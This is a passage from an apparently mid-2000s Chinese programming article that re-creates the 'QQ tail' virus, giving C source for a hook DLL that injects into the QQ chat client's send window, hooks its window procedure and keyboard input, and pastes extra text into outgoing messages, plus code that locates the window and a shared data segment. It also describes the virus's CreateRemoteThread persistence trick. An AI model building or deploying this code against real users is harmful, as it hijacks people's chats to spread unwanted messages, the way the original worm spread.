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所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。
好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。挂接钩子和查找窗口 接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。DLL的共享数据段 如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
是的,添加尾巴失败!
好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:
这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。最后一些要说的
1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。 |
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责任编辑: 原点 |
投稿作者: 本站收集 |
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信息来源: 网络 |
录入时间: 2005-5-26 |
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